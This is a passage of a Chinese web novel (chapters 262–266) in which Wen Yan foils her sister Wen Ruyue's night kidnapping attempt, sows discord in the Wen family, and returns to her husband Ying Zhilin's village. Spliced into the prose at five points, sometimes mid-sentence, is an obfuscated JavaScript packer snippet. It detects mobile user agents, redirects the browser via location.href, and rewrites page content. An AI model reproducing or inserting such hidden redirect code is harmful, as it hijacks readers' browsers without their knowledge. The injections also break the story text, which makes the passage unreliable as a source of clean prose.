闻颜帮作为难:“我在恭太妃眼里就是只会刺绣的小猫小狗,赏点东西我接着就是,若是上赶着去讨好处,岂不是蹬鼻子上脸,惹人嫌弃? 恭太妃恼我倒没什么,若是恼了父亲,恼了闻家,恐怕就……” 闻父如何听不出闻颜的嘲讽,脸涨得通红,讪讪地闭上了嘴。 落座之后,闻颜一心吃饭。 闻如月还借机刺了她几句,都是些饿死鬼投胎,一辈子没吃过饱饭似的。 闻颜左耳朵进,右耳朵出,一副油盐不进的样子。 待她吃到七分饱,优雅地擦了擦嘴,这才开始反击。 闻颜拿着‘变卖嫁衣’的事大作文章。 她先从女子名声,说到兄长闻泽端的科举之路,再说到闻父仕途,最后竟牵扯到家族败落。 最后将果扣在闻如月身上。 关键是,闻颜说得一套一套的。 闻家人只冷笑,觉得闻颜搅扰离间的手段太拙劣。 只是。 到了夜深人静之时。 闻父和闻择端躺在床上。 闻颜说的那些话,便不由出现在他们的脑海。 他们越想,越觉得是闻颜所言,逻辑通畅,句句在理。 对于把事情闹大的闻如月,在心中狠狠记上一笔。 与此同时。 汀兰院中,来了一位不速之客。 第262章:自投罗网 夜色深深。 汀兰院内。 一个婆子鬼鬼祟祟摸到院门边,悄摸打开了院门。 随即,一个人影摸进院中。 人影问婆子:“人呢?” 婆子朝卧房努了努嘴:“回大小姐的话,那三个人全都迷晕了。” 人影不是别人,正是闻如月。 闻如月朝院外一挥手,又有五六个婆子拿着绳子、麻袋进了院子。 闻如月一一叮嘱她们:“记住,进去之后,你们三个负责控制那个丫鬟和婆子。 你们两个负责守住闻颜,若有异动,立即将人打晕。 你负责装袋,你力气最大,负责扛包走人。” “是。”几个妇人连忙应着。 闻如月转身看着汀兰院的主屋,眸子微眯,眼神发冷,喃喃低语:“母亲,是你不顾念亲情,可别怪我!” 行动前。 闻如月去找过江心葵一趟。 她希望江心葵能为自己讨回公道。 江心葵却让她再忍一忍:“闻颜留着有用。只有通过她,我们才能搭上太妃的关系。 你不就能取而代之,成为太妃面前的红人吗? 有太妃给你托底,你想结交兰贵妃也更有筹码不是?” 闻如月当时就一片心寒。 这番话,不过是母亲为了打发自己的说辞。 她对自己的感受,当真是一点都不放在心上。 闻如月咬咬牙,决定退一步:“那香料呢?你打算什么时候去跟闻颜说。谢二夫人都来催我好几回了。 而且兰贵妃的生辰马上就到了,我一日都拖不得了。” “是啊!献给兰贵妃的香料确实重要。”江心葵也一副着急神情。 “母亲,你不会连这点事都不帮我吧!”闻如月的声音陡地变尖。 江心葵目光躲闪,不敢看亲生女儿。 她自然是想帮女儿的。 只是,就算女儿攀附上了兰贵妃,但她身后还有一座津平侯府,闻家不过是顺带捎的。 闻颜就不一样了。 她现在还得依靠闻家,她的关系,就是闻家的关系。 无人来与他们分一杯羹。 而闻颜与闻如月势同水火。 此时去提这件事,闻颜不但不会同意,甚至还会心生不悦。 这会让本就紧张的关系,雪上加霜。 “那兰纮已经下了大狱,兰玉也从贵妃降为妃,兰家怎么看都算不得好靠山。 如月,你为何执着于攀附兰家?” 闻如月本不想说的。 事到如今,她也该让母亲清醒清醒,别再做那些不切实际的白日梦了。 “兰贵妃虽然被降为妃位,可皇帝对她的宠爱不减反增。 现在大家仍然称她为贵妃,谁敢叫她一声兰妃? 她的哥哥更不会有事。娘你就等着看吧,不到年底,皇帝就会重新起用他。 晋阳府的烂摊子还等着他去收拾。” “如月,没有发生的事,你如何得知的?” 闻如月原本想找个时间,将重生之事告予父母,让他们抓住机遇往上爬。 但是母亲今日的作为让她很是不悦,她暂且不想说了。 她只道:“总之,兰家东山再起指日可待。 至于你心心念念的恭太妃,她已经一把年纪,日薄西山,她活不了几年……唔……” 江心葵一把捂住闻如月的嘴,不让她再说下去。 “你不要命了?恭太妃你也妄议!若是传到皇帝耳中,别说是你,我们全家都要跟着掉脑袋。” 闻如月打开母亲的手,不以为意:“这是在我们家,我们说什么,皇帝怎么可能知道。” 她没说的是,四年后,恭太妃大病一场,被接回宫中照料,之后,再无她的消息。 而兰贵妃的儿子欲争夺太子之位,从龙之功,近在眼前。 总之,一个活不了多久的老太婆,怎比得上东山再起的兰家。 闻如月的游说,江心葵听进去了:“鸡蛋不能放在一个篮子里。恭太妃也好,兰贵妃也好,多一个靠山,多一重人脉,你说是不是?” 闻如月:“……” 闻如月此时觉得,闻颜前世有一句话说得很对:“靠山山倒,靠人人跑,只有靠自己才最牢靠。” ** 闻如月推开汀兰院的房门,率先走了进去。 其他人紧跟而入。 待人全部入内。 ‘咣’的一声,房门关上。 闻如月吓了一跳,紧张地看向房门,见鬼了,不会是阿飘吧! 歘的一声。 屋中亮起一根火褶子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344304|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 微弱火光移向烛台。 闻如月气得低吼:“你点灯做什么,快熄了。” 然而,点火之人根本不听她的招呼,径直点亮了第一根蜡烛,随后是第二根、第三根。 房间里越来越亮。 闻如月陡地瞪圆眼睛。 她这才发现,点火之人不是她带来的。 而是孟家派来的妇人。 屋内其他油灯逐一亮起。 “姐姐,你来了。”闻颜清亮的声音,带着笑意。 闻如月猛地回头,只见闻颜衣发整齐,端坐在床榻上。 “闻颜!你没睡!” 闻颜把一截香扔在地上,笑着道:“还没把长姐瓮中捉鳖,我怎么敢睡。” 闻如月后知后觉自己中了圈套,转身欲走。 合上的屋门,却怎么也打不开。 闻如月命令闻颜:“你把门打开,放我出去。” 闻颜坐在床边,动也不动。 闻如月叫唤了半天也出不去。 她把心一横,指着闻颜命令手下婆子:“去……把她打晕,一起扛走。” 等自己把闻颜掳走,再以闻家的名义十大酷刑侍候。 到时既得了香方,又让闻颜彻底厌恶闻家。 爹娘就不能当墙头草,只能选择自己了。 闻如月手下的婆子,一拥而上,冲向闻颜。 闻颜岿然不动。 佩儿端出一只海碗,往地上一泼。 金灿灿的黄豆撒满地面。 打头的婆子气势汹汹,一脚踩在黄豆子上,呲溜一下就滑了出去,‘嗷’的一声摔在地上。 屁股先着地,胖胖的身体还在地上颤了几下。 后面的人也步了后尘。 有的是踩到豆子重心不稳,有的是被同伴绊倒的。 她们叽哩咣啷的摔了一地。 不过眨眼之间,闻如月带来的人,就全军覆没。 佩儿看得乐不可支:“小姐,你看她们像不像下饺子,一个接着一个。” 孙嫂子也忍俊不禁。 要知道,她们刚得知有夜袭时,有多担忧。 害怕双拳难敌四手,闻颜会被闻家人欺负。 谁知,闻颜一碗豆子就把他们全部解决了。 闻如月吓得不行,转身就逃。 第263章:挑拨、相信 佩儿又抓了一把豆子撒在地上。 就听闻颜‘哎呦’一声,摔了个乌龟翻背。 她觉得屁股碎成了四瓣,痛得她都发不出声音了。 闻颜这才站起身来,挥了挥手:“都绑起来吧。” 佩儿和孙嫂子动手绑人。 闻颜来到闻如月面前。 她居高临下地看着闻如月,啧啧出声:“你怎么像条狗一样狼狈!” “闻颜,你敢羞辱我!”闻如月瞪着闻颜。 “我羞辱你又如何?你倒是站起来打我啊!”闻颜故意刺激她道。 闻如月果真撑着地,想要站起来。 闻颜伸腿在她手臂上轻轻一勾。 闻如月失去平衡,再度摔倒在地上。 “闻颜,你别欺人太甚!” “我就是欺负你,你又能如何?”闻颜掐着闻如月的脸,脸上露出张扬的笑,眼中却恨意迸发。 前世,闻如月一边同她姐妹情深,一边爬上霍耀行的床。 一边花着她的银子,一边害死她的儿子。 后面为了取而代之,又对她下毒。 让她被**折磨了数个日夜,才在痛苦中咽气死去。 那份痛苦,她至今难忘。 她的眼神表情,仿佛前世临死时的闻颜。 恨不得啖她肉,喝她血! 闻如月吓坏了:“你……你是人是鬼!” “我当然是鬼,是从地狱里爬出来,专门索你命的恶鬼。” 闻如月吓坏了,手脚并用地往后躲。 却被闻颜牢牢掐着。 “你……我都已经被你欺负成这样了,你还不肯放过我吗!”闻如月是真的怕了。 “走?今晚的游戏,才刚刚开始呢!”闻颜咯咯笑着,从书桌上端来一只砚台。 她手腕一番,里面的墨水全数浇在闻如月头上。 “啊……”闻如月尖叫,“闻颜,你当真是疯了,你竟敢用墨泼我!我的夫君是津平侯世子,他不会放过你的。” “你觉得,津平侯府,会为了一个女人,去得罪镇国大将军吗?” “我可是他的妻子,是他最爱的女人,他不会不管我的。还有爹娘,他们也不会放过你。” “扑哧”。 闻颜笑出了声。 “你不信?你以为我今晚为何会出现在此? 你以为他们当真想巴结恭太妃? 不过是找个由头,帮着我把你骗进来,方便我下手,对你为所欲为,榨尽你最后一点价值。” 闻如月抹去脸上的墨迹,得意洋洋。 闻颜却只是冷笑:“当真如此吗?如果真是这样,那你现在为何会是这般狼狈的模样?” 闻如月怔了一怔:“你什么意思?” 闻颜用砚台拍了拍闻如月的脸:“你觉得,我为什么会等着你上门?” “为什么?” 闻如月猜到了什么,却不敢相信。 闻颜把砚台扔在地上,用只有两人才能听见的声音,说道:“当然是有人给我通风报信啊! 闻如月,你不会蠢到现在还没看不出来吧! 父亲母亲想通过我巴结上恭太妃,我心中怒火不消,就不会替他们牵线搭桥。 所以,在我坐上母亲马车的那一刻,我们就达成了协议。 把你送给我发泄报复,我为他们引荐。” 闻如月脸色一白:“不可能!我不信,爹娘不可能这样对我,我可是他们的亲生女儿。” 闻颜咯咯笑起来:“你回到闻家有一年多了吧,难道还看不出来,闻家没有女儿,只有攀龙附凤的工具吗?” 闻如月还是不可置信地摇头。 闻颜叹息一声:“既然你不信,那我们就跟你打个赌好了。” “你要赌什么?” “我赌,我把你欺负成这样,你的亲娘不仅不会惩罚我,还会让你给我道歉。” 随即,闻颜就对佩儿道:“放外面的婆子出去吧,让他们把闻老爷江夫人叫过来。” “是,”佩儿立即出去开了院门。 闻颜又对着床榻说了一声:“三妹妹,你出来吧。” 片刻后。 就见一位十四五岁的女子,从床边的屏风后走了出来。 此女子生得身姿袅娜,眉目艳丽。 单论姿色,闻颜和闻如月在她面前,都显得暗淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344305|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无光。 “闻岫云,你怎会在此?”闻如月咬牙,闻颜的手段一环套一环啊。 “见过长姐。”闻岫云朝闻如月行了一礼,“我听闻二姐姐回来了,便过来与她叙旧。” 闻岫云是闻家三小姐。从小和闻颜一起长大。 她长得漂亮,又聪明伶俐,再加上她的生母深受闻父宠爱,她在闻家的日子过得相当不错。 以前跟闻颜在才情上争高低, 闻如月回来后,两人衣食住行什么事都要比较。 不一会儿,江心葵夫妻,以及闻择端都到了。 他们进门之后,看见脸上黢黑的闻如月,下意识问道:“这黑鬼是谁?” 闻如月:“……,是我!如月。” “如月,你怎么变成这样了!”江心葵一脸心疼地扶起她。 ‘扑哧’ 闻择端被她滑稽的样子逗笑。 **心葵瞪了一眼,才忍住不笑。 闻父看了一眼,被绑起来的婆子们。 他一声不吭,坐到主位上,这才沉声道:“说说吧,到底怎么回事?” 闻如月想要抢占先机,被闻父抬手制止,对闻岫云道:“岫云,你来说。” “是,父亲。”闻岫云站出来,将事情从头到尾,一字不差地讲了一遍。 当然,闻颜挑拨的话太小声,她根本没听到。 闻父眼神凌厉地看向闻如月:“我什么时候准许你对付自家姐妹了?是谁教你大半夜带着人,拿着袋子麻绳**亲妹妹的?!” 闻如月吓得一哆嗦。 委屈的眼泪扑簌簌落下。 江心葵心疼极了,抱着闻如月,维护道:“你凶孩子干什么?看把她给吓着? 不过是姐妹之间闹着玩罢了。 让如月给颜颜道个歉不就成了!” 闻如月不可置信地看着江心葵:“娘……您说什么?被欺负的人是我,你们不惩罚闻颜就算了,凭什么要我给她道歉!” 江心葵瞪她一眼:“你就安分点吧,还嫌惹出来的麻烦不够大?” 闻如月嘲讽地笑出声:“果然啊,闻颜能让你们攀附上恭太妃,我就没用了是吧!” 第264章: 洗不掉 “放肆!”闻父一掌重重拍在桌上,“你半夜上门掳自己的妹妹,你还有理了?” 闻如月并不怕他的怒火:“要不是你们不作为,我用得着自己上手?” “合着,没有把闻颜五花大绑送到你面前,都是我们的错啰?”闻父气得须发皆张。 闻如月:“爹,事到如今,你还在装傻?你们故意给闻颜通风报信,让她守株待兔,羞辱我,拿我出气。 你们真是打得一手好算盘,拿亲生女儿,给养女当出气筒,你们就算不在乎我,难道连津平侯府的脸面也不顾了吗?” “你胡说,我们什么时候给闻颜通风报信了!”江心葵急忙解释,“我的儿啊,你这样说,可是在挖为娘的心啊!” “呸!少在这里假惺惺,闻颜亲口说的,你们早就合谋在一起,你猜到我今晚会动手,所以提前告知闻颜,所以我才会输得这么惨!” 江心葵瞪向闻颜:“我什么时候给你通风报信过了?” “我何时说过这种话?”闻颜一脸无辜,眼圈都红了,她看着闻岫云,“三妹妹,你亲眼见证全程,我何时说过那样的话?” 闻岫云摇摇头:“二姐姐确实没说过那些话。” 闻岫云和闻颜从小较量到大,一直看对方不顺眼,闻府无人不知无人不晓。 所有人都坚信,闻岫云不落井下石就不错了,绝无可能帮闻颜说话。 那就是闻如月在撒谎啰? 进门之后,一直没有吭声的闻择端,此时也开口了,“如月,你别再犟了,也别乱找借口了。 当着大家的面认个错,再跟闻颜赔个不是,此事就过去了。” “大哥,竟然连你也不信我!”闻如月从心底生出一股无力感。 这难道就是所谓的血亲家人吗? 闻家虽有钱有势,却不如柳家。 柳家虽穷,却在任何情况下,都站在她这一边。 闻择端目光闪躲:“如月,我们都是为了你好……” “等等。”闻颜打断兄妹二人的争吵。 她直愣愣地看着江心葵:“娘,长姐说的都是真的吗?你早就知道长姐要对我下黑手,你却视而不见,任由长姐对我,对我……呜呜……” 闻颜伤心欲绝,身体晃了晃,一副要昏死过去样子。 佩儿连忙上前扶住她,气愤道:“你们不过是想利用小姐,搭上恭太妃,根本不是真心接纳我家小姐。 孙嫂子,我们现在走。 不留小姐在这里受委屈。” 孙嫂子立即上前,与佩儿一左一右搀扶着闻颜就往外走。 闻父见状,连忙上前拦住三人。 又是劝又是哄,又是强逼着闻如月给闻颜道歉。 “要道你们道去吧。”闻如月宁死不屈,最后直接搬出津平侯府,才把闻家给镇住。 “爹娘哥哥,你们太让我失望了。你们甚至连柳家那些泥腿子都比不上!” 扔下这句话,闻如月就愤然离去。 闻家人又安抚了闻颜一会儿,这才离开。 待闻家人一走,伤心欲绝的闻颜瞬间变脸。 她坐到椅子里,给自己倒了杯茶润嗓子。 佩儿偷笑:“小姐,你看见闻家人的嘴脸了吗?一个个就跟吃了苍蝇一样。” 闻颜淡笑道:“这才哪到哪儿啊!这才刚刚开始。” “小姐你这招离间计用得太好了,他们狗咬狗的样子,看得大快人心,看他们以后敢不敢高高在上,颐指气使地对你。” 佩儿突然幸灾乐祸,“闻如月现在应该在洗了脸吧,她想看她暴躁的样子。” 闻如月的房间里。 丫鬟将第四盆水端下去。 丫鬟走得极快。如果仔细看,就会发现她手脚都在颤抖,一副恐惧极了的样子。 闻如月坐在梳妆台前,看着镜中的自己。 只见她上半张脸是墨黑色,下半张脸则是一道道墨迹。 乍一看,还以为她是一个怪物。 “这墨怎么会洗不掉?明明水都已经变清澈了,我脸上的墨痕却一点没有变浅! 肯定是闻颜那个贱东西,在墨里加了别的东西,才会这样!” 闻如月抓狂尖叫:“闻颜,我跟你势不两立!” “人呢?都死哪儿去了? 再去拿几块香胰子来,我要继续洗。” 她就不信了,脸上这些东西会洗不掉。” ** 佩儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344306|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇询问:“小姐,你让我往墨汁里加的什么?为什么会洗不掉?” “一些黑桃壳的汁液而已。” 佩儿‘扑哧’一声笑出来,“那她岂不是要等三四个月,才能恢复面貌?” “真要那么久,闻如月非得把我砍了不可,也就半个月时间吧。” “那岂不是就到兰贵妃生辰了?” 闻颜收拾好一切,就躺下休息了。 一夜无话。 次日。 闻颜睡到自然醒才起床。 用过早饭之后,她就指挥着佩儿,把院中的花草全部挖出来,随后送到新开的铺子里去。 途中。 他们绕道去了一趟霜姨他们的住处,把花匠夫妻接上。 花匠夫妻陡然看见闻颜,激动地就要跪下给闻颜嗑一个:“闻小姐,多亏你帮我们找到良医,我老伴才能及时医治。 现在已经开始好转了。” 闻颜连忙将人扶起:“林大夫很有名,你们迟早也会打听到京城的。” 花匠摇摇头:“不是这样的,我妻子病情很严重,等我自己找到林大夫,治疗效果可能不会如此理想。” “能帮到你们就好。”闻颜笑容亲和。 随后,她就说起,去新铺子里,帮忙种植花草。 花匠一口答应,还不肯要工钱。 花匠到了宅子之后,看见那些花的品种,瞠目结舌,半天才道:“都是极名贵的花!” “现在不是移栽花木的季节,希望不会死掉。”花儿越名贵越难养。 “已经提前摘掉花朵,只要精心养护,就不会死的。”花匠打包票道,“闻小姐,你放心吧,我一定会让它们健康活着的。” “那这里就交给你们了。” 花匠又问起‘素冠荷鼎’什么时候要,再有几天就要开花了。 “半个月之后才要,你能让它延迟几日开花吗?” 花匠想了想:“我会尽量让它晚些开。” 安排好一切事宜。 闻颜从宅子里出来。 佩儿问道:“小姐,为什么还要等?我看闻如月已经很着急了。” “再等等,只有穷途末路,她才会倾尽所有。” 第265章:要休妻 闻颜又在闻家住了三日,就准备离开了。 她按照孟家的礼物单子,把属于自己的东西,一件一件搬上马车。 闻父和江心葵特地来见她。 闻如月也跟着来了。 她涂了厚厚的脂粉,也遮不住她脸上的墨迹。 江心葵看着值钱的东西一件一件搬走,就跟挖她的心一样难受。 闻父搓着手:“你看,恭太妃那边。” 闻颜一拍额头:“瞧我这记性,怎么把如此重要的事情给忘了。” 她露出纠结的神情:“让我引荐完全没有问题,只是……我与父亲母亲关系不睦,已经全城皆知,我忽然将你们带到恭太妃面前,恐怕不太妥当。” “怎么,东西还没搬出门家大门,你就想耍赖不成?”闻如月摸了摸脸颊,嘲讽道,“爹娘,这就是你们欺负我,也要讨好的好养女!” 闻颜眨眨眼:“我只是说,直接带你娘去不全知,却没说不能引荐别人啊。” 闻如月眼睛骨碌碌一转,莫非,闻颜是想引荐自己? 算她有眼光。 自己可是侯府的世子夫人,整个闻家,只有自己够格和太妃往来。 闻父和江心葵对视一眼,也觉得闻如月是最好的人选。 如此一来,他们在津平侯面前,也能挺直脊背了。 闻颜脸色一沉,闻父就连忙改口:“岫云,你看岫云行不行?” 说出这个名字后,闻父竟然觉得岫云才是最佳人选。 岫云美貌,颇有才华,嘴巴又甜,定能哄得恭太妃高兴。 不像闻颜和闻如月,一个冷心冷肺,一个眼睛长在头顶上。 “勉勉强强吧。”闻颜露出一副勉为其难的样子,但还是答应带上岫云了。 “我不同意!”江心葵立即反对。 桃姨娘那个**,本就把老爷的魂勾走了。 若是再让她的女儿搭上恭太妃,以后桃姨娘岂不是要骑到自己头上作威作福! 况且。 讨好闻颜,跟闻颜赔礼道歉的,是她和如月。 凭什么苦让她们吃了,福却让桃姨娘那个**来享。 然而,不是她反对就能换人的。 闻父沉着脸问她:“那你相让谁来?” “我去。”江心葵道,“或者让我的大侄女去。” 给到娘家,也不可能便宜桃姨娘那个**。 闻父气笑了。 “你可真敢想。闻家的机遇凭什么让江家掺和,就定岫云了,你若是再作妖,就回你的江家去。” 江心葵怔住。 她以为丈夫会二选一,最后强押着闻颜带自己。 没想到他竟动了休妻的心思。 江心葵哇地一声哭出来,捏着小拳头捶打着闻父:“你这个负心汉,这么多年我都错付了……” 闻颜差点压不住上翘的嘴角,含混着告辞一声,连忙坐上马车,离开了。 从闻家搬出来找东西,闻颜并不打算搬回松山村。 她直接运回了‘一点墨’。 随后就叫来,京城最大的典当行。 最值钱的都被闻如月祸祸过了,她要统统卖掉。 闻如月并没有多爱惜这些东西,所以折价很多。 她拿着这笔钱,租了一幢二进的宅子。 又在牙人处找人把宅子里里外外,彻底打扫一遍,补充了一些家具物什,最后还剩下七八百两在手中。 没有变卖的,她都收在‘一点墨’的库房里。 京城里再无别的事。 闻颜就快马加鞭地回到松山村。 离秋闱只剩**天。 她答应过应知林,会回来陪她一起准备,她就不能食言。 与孙嫂子辞别后,闻颜一路紧赶慢赶回到松山村。 发现家中来了客人,正和应知林在书房里说话。 “应兄,你考试期间,就去我家住吧。我家宅子宽敞,又有下人侍候,绝对比你住客栈好得多。” 应知林婉拒:“我娘子应该为我准备了住处,就不麻烦大师了。” 吆喝,竟然还有人来挖应知林的墙角,她倒要看看是谁。 闻颜歪着脑袋,往窗户里一瞧。 发现登门之人,竟是无蕴子大师。 应知林一副谦和有礼,沉稳有度的模样。 察觉到视线,应知林一回头就看见了闻颜。 “你回来了!”他顿时喜形于色,立即起身迎了出来。 他目光不错地打量着她,笑得露出八颗牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344307|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齿。 无蕴子看见闻颜,就想起那一天,那个山洞中传出的阵阵惨叫,以及闻颜身上染血的模样。 他就忍不住害怕,目光闪躲不敢看闻颜。 匆匆告辞之后,就离开了。 闻颜看着他落荒而逃的背影,也很无奈。 杀司徒明给他留下的心理阴影,果然挥之不去了吧! 应知林发现两人之间有古怪,但他什么都没问。 他谨记自己在闻颜面前的人设,一个为弟妹操碎了心的,佯装沉稳大哥。 只有自己够脆弱,才能吸引闻颜的注意力。 闻颜拿出一包点心给他:“喏,食味斋的点心,特意给你带的。” 应知林立即打开吃了一块,满足地点点头:“好吃。” 闻颜发现,应知林在别人面前,总是一副风雨不惊,稳重可靠的样子。 只有在自己面前,才会露出本性的一面。 可见他平时顶着多大的压力。 他也是很不容易。 应知林被她看得不自在,放下点心:“是我吃得太难看了吗?” “当然不是。”闻颜给他倒茶,“这些全是你的,慢慢吃。” 应知林腼腆一笑,显得越发乖巧。 出来活动筋骨的辰七哥见状,下巴都快掉地上了。 应知林又在颜颜面前扮娇弱了。 狗东西,为了闻颜,真是什么手段都能使出来。 他瞪了应知林一眼。 应知林挑衅地抬了抬眉。 辰七哥:“……” 坐了一会儿。 闻颜就跟应知林说起住宿之事。 “我租了一个二进的宅子,离贡院不算近,但也没有多远。 考试期间,你就住在那里吧。当然,你若是没找到住处的同窗,也可一起住。 五十文一天的房租,包三餐饮食,早食有鸡蛋,中、晚食保证有一道荤菜。” “当然有!” 梧桐书院有许多外地来的寒门学子。 每到应考时间,虽有少数住在要好的同窗家中,大部分还是住在客栈。 客栈人员复杂,环境吵闹,吃食也有许多担心。 五十文能住在独立的院子,那是再好不过。 第266章:装过头了 确定好房间数量之后,应知林就坐不住了。 “我现在就把这个好消息告诉师兄师弟们。”他站起来,迫不及待地出门。 刚到门口,他忽然停住,跑回院子里,一把抓住闻颜的手,幽墨深沉的眼神,一眨不眨地与她对视:“谢谢你。” 应知林的手掌,巨大、干燥又温暖。 闻颜的手在他掌心,显得瓷白又小巧。 精致得让他想一直握在手中把玩。 闻颜很自然地抽回手:“快去吧,再耽搁天就要黑了。” “好,我快去快回,你等我回来陪你说话。”应知林转身就离开了。 闻颜看着他轻快的背影,觉得他才是十六七岁的孩子。 闻颜先去检查应知海的学习成果,又跟辰七哥和五婆婆聊了会儿天。 得知二姑姑那边,最近很安分,一点幺蛾子都没闹,还时不时到五婆婆跟前尽孝。 事出反常必有妖! 二姑姑一家若是安分之人,岂会闹出先前那些事。 “辰七哥,你平时在家,多留意着那边。”闻颜提醒道 “这还用你说?”不出意外,他下半辈子都要跟着闻颜混了。 给闻颜添堵,就是给他添堵,他不允许。 随后,闻颜又去西跨院的颜料作坊巡查。 虽然工匠都是从战场退下来的大老粗,经过个把月的学习,他们已经能熟练掌握研磨手艺。 挑色挑得很细致,制作出来的颜料,很是细腻,牢色度也很好。 不过,闻颜却皱起了眉头:“不是给你们准备了遮掩口鼻的布巾吗?为何不戴?” 工头不好意思地挠了挠头:“布巾太厚了,戴上它不舒服,喘气也闷闷的,耽误我们干活。” “闷闷的也要戴。研磨有许多微小粉尘,若是吸进肺里,会生很严重的病。”闻颜神情严肃地说道。 闻颜平时笑眯眯的,为人和善。 第一次见她生这么大的气,几人都有些心虚,不敢看她。 闻颜缓和了一下语气,苦口婆心道:“你们做工赚钱,不就是为了好好生活吗?身体要是垮了,赚再多的银子有何用? 你们赚够银子,就能将重要的家人接过来了。 我听李婶子说,你们每天除了做工就是窝在院子里,没事儿就多出去转转,既锻炼身体,也能身心愉悦。” 闻颜觉得自己有些交浅言深了,尴尬地摸了摸鼻尖,就离开了。 工匠听说能将家人接来,心里就很是高兴。 自此之后,颜料作坊的人,全都戴上了布巾。 也里常在人少的时段,去村子里转悠。 村里不少人对他们的残破的身体指指点点。 不过,得知他们是从战场上退下来的之后,都心存敬意,无人再议论,反倒时不时塞一根黄瓜当零嘴。 当然,这些都是后话了。 闻颜尴尬地回到正院,就见刘婶子正和五婆婆聊天。 闻颜欣喜:“刘婶子,你们都回来了!” “前儿回来的。老板娘说她们都学得差不多了,就让领着她们回来了。” “这些是一个月的花销。”她将账本和钱袋塞回闻颜手里。 “他们的手艺如何?” 刘婶子立即跟她说了拔尖的几人,其中就有香莲。 刘婶子对香莲是赞不绝口:“这是唯一能改变她全家命运的机会,她学得特别认真卖力。我经常看见她半夜还在偷偷练习。” “那就通知她们,明天让他们过来,我要考验。技术太差的,就直接淘汰。” 听说还会淘汰,刘婶子顿时打起十二分的精神:“我今儿晚上保证挨个通知到。” 刘婶子又跟闻颜说了一会儿话,眼看天色不早了,她就告辞回去。 闻颜给她塞了两包点心,一块细棉布。 转眼就天黑了。 晚饭过后,闻颜坐在窗前乘凉。 她的脑袋一点一点的,眼看就要睡着了。 忽然,幽香入鼻。 闻颜睁开眼睛,入眼的便是一大捧荷花。 白的粉的,虽然花瓣已经闭合,但是挤挤挨挨,很是好看。 “给你的。”头顶传来温和清雅的声音。 应知林把花塞进闻颜怀中。 闻颜很是喜欢,抱着荷花爱不释手:“你在哪儿摘的?” 应知林顾左右而言他:“你去晋阳府前,我答应过会摘荷花给你,不能失言。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344308|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他越是回避,就越有问题。 “你还没说花是从哪儿摘的?” 应知林以拳抵唇,轻咳两声:“族长家的藕田里。” “我听说族长把藕田看得紧,你摘了他的花,确定他不会撵得你满村跑?” 应知林站得笔直:“族长老胳膊老腿,他撵不上我。” 闻颜扑哧一声笑出来:“以前怎么没发现,你这般调皮。” 应知林道:“以前看别的孩子这样做,我觉得很有意思,就想自己也试一回。” 所以,他以前为了照顾弟妹,一直压抑着自己的本性,逼自己像个稳重的大人。 现在成家了,觉得有自己给他兜底,便放飞自我? 闻颜越想越觉得是这么回事。 顿时觉得自己肩上担子很重。 要是几年后和离。 应知林无人可依,岂不是又要压抑秉性,做回那个可靠稳重的大哥? 闻颜忽然有些于心不忍。 她垂眸思索片刻,便对应知林道:“你放心吧,我走之前,一定帮你物色一个沉稳可靠的娘子的。” 应知林:“……” 好像装可怜,装过了。 “时间不早,你先休息吧。”应知林气闷地走了。 “哈哈哈哈……”辰七哥的厢房里,突然暴发出一阵狂笑。 辰七哥笑得脸都扭曲了,最后倒在地上捂着肚子打滚。 